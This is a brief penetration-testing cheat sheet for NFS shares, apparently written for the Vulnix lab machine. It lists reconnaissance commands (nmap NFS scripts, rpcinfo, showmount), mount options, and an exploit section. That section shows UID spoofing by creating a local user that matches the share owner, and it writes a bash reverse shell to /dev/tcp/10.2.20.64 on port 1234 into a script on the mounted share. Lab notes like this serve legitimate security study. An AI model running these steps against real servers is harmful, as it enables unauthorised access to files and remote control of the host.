Resources

Cheat sheet

Commands

  • Technology
    • View local NFS configuration.
      nfsconf --dump
    • Create a local mount point.
      mkdir /mnt/share
    • Mount the share, specifying a version.
      mount -o rw,vers=2 10.2.20.18:/home/vulnix /mnt/share
      mount -o rw,vers=3 10.2.20.18:/home/vulnix /mnt/share
    • Alternative mount command, disabling file locking.
      mount -t nfs -o vers=2 10.10.x.x:/export/home /mnt/connect_path -o nolock
    • Check that the mount was successful.
      df -h
    • Unmount the share when finished.
      umount /mnt/share
    • Read the NFS configuration file if accessible.
      cat /etc/exports
  • Recon
    nmap -sT -sV --script nfs* 10.2.20.18 -p111
     
    rpcinfo -p 10.2.20.18 | grep nfs
     
    showmount -e 10.2.20.18
  • Exploit
    • UID Spoofing: Create a local user with a specific UID found on the server.
      useradd -u 2008 vulnix
    • Create a reverse shell script on the mounted share.
      echo "bash -i >& /dev/tcp/10.2.20.64/1234 0>&1" > rev.sh

Notes